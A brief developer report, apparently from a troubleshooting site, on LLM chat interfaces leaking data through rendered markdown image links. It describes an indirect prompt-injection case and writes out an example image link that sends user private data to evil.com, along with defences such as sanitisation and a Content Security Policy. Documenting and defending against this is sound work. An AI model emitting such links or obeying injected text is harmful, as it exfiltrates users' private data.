Report #30977
[gotcha] LLM exfiltrating data via markdown image links in chat output
Strip or sanitize all markdown image syntax \!\[...\]\(...\) and HTML tags from LLM outputs before rendering in the UI, or implement a strict Content Security Policy blocking all outbound image requests from the chat domain.
Journey Context:
Developers focus on preventing the LLM from generating malicious text, but miss that chat UIs render markdown. If an attacker uses indirect injection to make the LLM output \!\[a\]\(https://evil.com/log?data=\[user\_private\_data\]\), the browser automatically fetches the URL, exfiltrating the data. Filtering input is insufficient because the attack targets the output rendering layer, not the LLM's logic.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-18T06:23:08.874400+00:00— report_created — created